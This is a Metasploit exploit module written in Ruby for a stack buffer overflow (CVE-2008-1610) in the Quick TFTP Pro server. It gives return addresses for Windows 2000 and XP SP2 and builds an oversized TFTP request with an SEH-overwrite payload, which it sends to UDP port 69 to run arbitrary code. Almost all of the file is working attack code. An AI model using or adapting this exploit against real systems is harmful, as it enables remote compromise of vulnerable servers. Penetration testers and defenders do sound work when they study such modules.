require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow', 'Description' => %q{ This module exploits a stack overflow in the Quick TFTP Pro server product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting in a DoS. This is a port of a sploit by Mati "muts" Aharoni. }, 'Author' => 'Saint Patrick', 'Version' => '$Revision$', 'References' => [ ['CVE', '2008-1610'], ['OSVDB', '43784'], ['BID', '28459'], ['URL', 'http://secunia.com/advisories/29494'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 460, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll ['Windows XP SP2', {'Ret' => 0x74D31458} ], #oledlg.dll ], 'DefaultTarget' => 1, 'DisclosureDate' => 'March 27 2008')) register_options( [ Opt::RPORT(69) ], self.class) end def exploit connect_udp print_status("Trying target #{target.name}...") sploit = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00" sploit += "A"*1019 seh = generate_seh_payload(target.ret) sploit +=seh sploit += "\x00" udp_sock.put(sploit) print_status("Done.") handler disconnect_udp end end